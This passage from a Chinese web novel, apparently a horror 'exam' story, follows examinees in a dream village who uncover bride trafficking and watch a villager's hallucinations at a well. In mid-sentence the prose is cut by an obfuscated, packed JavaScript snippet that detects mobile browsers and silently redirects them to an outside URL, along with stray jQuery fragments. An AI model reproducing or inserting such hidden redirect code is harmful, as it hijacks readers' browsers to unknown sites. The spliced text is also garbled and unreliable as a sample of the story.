“我就说今天上午怎么这么安静呢?”班章啧了一声,目光不自觉挪到薛纯身上。 不止班章,几乎所有人都看向了薛纯,毕竟这两人从进考场以来就没少对呛,他们没发现谭修杰不见了也就算了,薛纯也一直未曾发现吗? 薛纯的视线却不在此处,整个人似乎在出神,不知道在思索什么,察觉到众人的目光,有些迟钝地回过神来:“都看着我做什么,怎么了吗?” “谭修杰失踪了,你知道他什么时候不见的吗?”陈喻问。 “他不是一直就跟在队伍后……”薛纯愣愣地回过头,“你说什么?!他……他失踪了?!” 她的反应有些奇怪,右手不自觉开始不安地扣着左手,脸色瞬间变得惨白,仿佛陷入了莫大的恐慌之中。 “我们……我们先别管他了,我们先出去吧,我们得尽快离开这里了,我不想死在这里……”薛纯猛地抓紧陈喻的胳膊,“你们刚刚听到那个黑衣人说什么了吗?他说他今天傍晚会离开村子,这一定是离开的线索吧,我们跟着他是不是就可以出去了?” 陈喻的胳膊被抓得发疼,她甚至能感觉到对方的手在微微颤抖。 “线索倒是个线索,但一般不可能这么草率就能出去。”班章说。 陈喻轻轻拍扶着薛纯的背,试图让她放松冷静下来:“你是遇到什么奇怪的事了吗?还是有什么不舒服的地方?” “我……我没有,我只是想要尽快离开……”薛纯看上去甚至有些恍惚。 寸头忍不住说:“我怎么觉得这小妮比我更像活在梦里。” 披肩发的女生悄悄跟陈喻说:“早上的时候她跟谭修杰吵了一架,我离得比较远,只看到他们情绪都很激动,应该都说了很难听的话。” 话音刚落,屋里传来动静,赵婆婆从土房子里走了出来,班章眼疾手快,一把将寸头的脸按在土墙上,其余几人反应也不慢,都贴着墙根开始面壁思过。 等到赵婆婆走得稍远些了,陈喻对着几人使了个眼色,几人又紧随其后开始继续跟踪。 也有人提议回住所找找谭修杰的下落,但陈喻和班章一致认为在考场失踪就意味着大概率出事,如果谭修杰真的没事,他们迟早会会和,如果他真的出事了,他们回去看到的多半也只会是一具血肉模糊的尸体。 时间是有限的,看到题目新线索的机会是有限的,错过了这次的题目线索死亡率只会更高,倘若兵分两路危险系数又要飙升,而且队内考生并没有达到完全可以共享信息这样的信任程度。 “她的状态不对,之前害怕也没有这样,她现在看上去有些恍惚,好像早上发生的事都记不太清楚了。”陈喻低声在与她并肩而立的班章耳边说。 班章知道她在说薛纯。 “还能迅速捕捉信息思考解题线索呢,思考能力这块没问题,看这情况应该是精神干扰之类的。”班章想了想说,“无非就两种情况,要么是在考场遇到什么不干净的东西了,要么就是考生中有人做手脚。” “你不觉得很奇怪吗?队伍中少了一位考生,却没有一个人发现。”陈喻说。 “也不是完全没人发现啊,活在梦里那小子不是说他一直看到的总共就八个人嘛。”班章突然笑了一下,“这说明什么?说明我们多半也中招了,只是比薛纯强点。” “你比较倾向哪种可能?”陈喻看着班章。 班章看着她的眼神有些意味深长:“这个考场的精神干扰应该是强的,不然我们也不会一直进入梦里,只不过我在本场考试遇到的针对我个人的干扰好像还没有,这个你应该比较有经验吧。” 陈喻:“……” 她确实遇到过好几次有针对性的幻境干扰,但是经过她上次的推测这几次干扰基本都符合“白天不能睡觉,夜晚必须入睡”这条隐藏规则,可这条规则今天明明没人触犯。 至于之前出过意外的其他几位考生遭遇的是什么情况,她就不得而知了,想来应该也没有触犯那条规则,但似乎触犯别的什么。 他们出意外的时候是否遇到类似的幻象干扰,据她所知目前几位出事的都用刀捅死过村民,可究竟是因为做出捅刀这样的行为触犯规则才产生幻象干扰,还是说是看到什么幻象而导致做出捅刀行为的? 恐怕只有他们自己知道。 陈喻不自觉将眼神放在寸头身上。 “考生的话,如果他们之中没有人谎报自己的专业技能的话,最有可能的就是使用了什么道具。”班章说。 道具吗? 对于她这样道具无比匮乏的人来说,甚至无法想象道具究竟会有些什么东西。 至于技能,目前唯一没法求证的就是谭修杰那个食品鉴赏,其他人至少能直接拿出东西,对了,还有…… 班章和张天天的技能一直处于未公开状态,班章肯定是知道的,她可以排除自己和张天天,可班章是完全可信的吗? 陈喻的很多消息都来自这个人,如果这个人有心误导她,她估计会被忽悠地晕头转向。 班章这个人太随意,随意到她感觉对方一点也不对自己设防,以至于她每次怀疑这人时心中莫名有几分愧疚,要命的是,她和这家伙在某种时候还会有种莫名的默契,这让她不得不怀疑自己是不是遇到骗子了。 “你……” 陈喻正准备询问班章的技能是什么,就被时越的声音打断了。 “卧槽!真不是人!!” 陈喻顺着时越的视线看去,看到了赵婆婆鼻青脸肿地躺在距离他们还有一大段距离的土房子门口,赵婆婆一路鬼鬼祟祟东瞅西看,他们也没敢跟得很紧,就看见她进了她家屋子,原本还想凑近看看情况,谁知没多久就看到她被打得鼻青脸肿,扔在家门口的土地上。 几人还没来得及动弹,就看到赵老汉从屋里走了出来,朝着赵婆婆旁边的土地上“呸”了一口。 “他娘的天天就知道要钱!钱钱钱!钱是大风刮来的吗?!让你去办这么点破事都办不好!几个女人都搞不来!”赵老汉啐了一口,“老子跟你讲,以后少跟老子要钱!这人你要是弄不回来,就把那几个外乡人给老子整来!反正那些娘们迟早也是村里人!!” 赵老汉扔完几句话转身朝村子里面走了,只留下了一脸狼狈地赵婆婆。 “卧槽!拳头硬了!”时越淡定不了一点,下意识想出去把老太太扶起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15708970|169745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但心里又叫嚣着在说这恶毒老太太有可能就准备逮着他们开刀。 “我天,这老太太要干啥啊?!” 陈喻的视线被吸引过去,就看到赵婆婆站在井边,探出大半个身子往下看,她丝毫不怀疑这老太太心念一转准备来一个自由落体。 只见赵婆婆从井里慢吞吞吊出个黑黝黝的罐子,她抱起罐子朝着四周瞅了瞅,小心翼翼地打开,拿出了一块用布包裹着的纸币。 拿出来后她又跑进屋子里面去打理她凌乱的头发和满身的尘土。 陈喻他们趁着她进了屋子又朝着屋子的方位靠近了些,薛纯一路上看上去呆呆的,没什么表情,问起来就说想离开,不知怎的,她突然学着赵婆婆的姿势朝着水井下看去。 “啊啊啊——水里……水里……有鬼……水里有鬼!!”薛纯大惊失色,站在井边的脚直接踉跄着往井下踩去。 幸好陈喻警觉,眼疾手快把她拽了回来。 薛纯吓得直接瘫坐在地上:“有……有张脸……水里有女人的脸……白色的……被泡肿了……” “她看着我……她靠近我了……她想拉我下去……” “有脸吗?在哪?”班章抱着手臂就朝着井边探去,“咦啊啊——” 陈喻:“……” “我就是确定一些我们看到的情况是否相同。”班章朝着众人微笑。 “看目前的情况赵婆婆是准备找黑衣人去做交易去了,我们直接跟着黑衣人出山吗?”时越问。 “别忘了,咱们现在可一直还待在梦里呢。”张天天提醒道。 班章:“出山没那么简单。” 陈喻:“见机行事吧。” “我还有出去的可能吗?”寸头抬头看天,盘旋的乌鸦似乎遮蔽了他头顶的天光。 “这谁都没法给你打包票,但就我而言的话,我觉得这个局面未必不能出去。”班章说。 “你现在跟正常人几乎没什么两样,能跑能跳能呼吸,而且梦境空间不会停滞,这里跟现实的差异也不是很大,你可以理解为这里只是多产生出一个类似现实的空间而已,两个空间说不定都可以出去。”陈喻说,“或许这场考试有几种不同的解法。” 寸头看了他们一会儿,叹了口气:“说到底还是得解题,不然就算跟着黑衣人应该也很难真正出去,既然如此……” “你们知道村子里这些人模狗样的东西到底在搞什么勾当吗?我想咱们之中大概没有比我更了解的了。” “大致也可以猜到一二。”陈喻说。 “很显然这里的人喜欢从到处找媳妇。”班章说。 “你们知道那天晚上我们俩究竟看到了什么吗?”寸头的眼神变得有些迷茫,带着恨意,“你们还记得你们发现我俩的那个臭气熏天的柴房吗?你们还记不记得在我们俩和新郎身后还有一个脏兮兮缩在地上的女人?” “你们知道吗,在外面穿着大红喜服、盖着红盖头跟新郎一起拜天地的女人不是新娘,被锁链关着缩在地上脏兮兮臭烘烘、满身伤痕的女人才是新娘。” “如果你们是我,你们也会出手的。” 陈喻感觉自己的呼吸都凝滞了。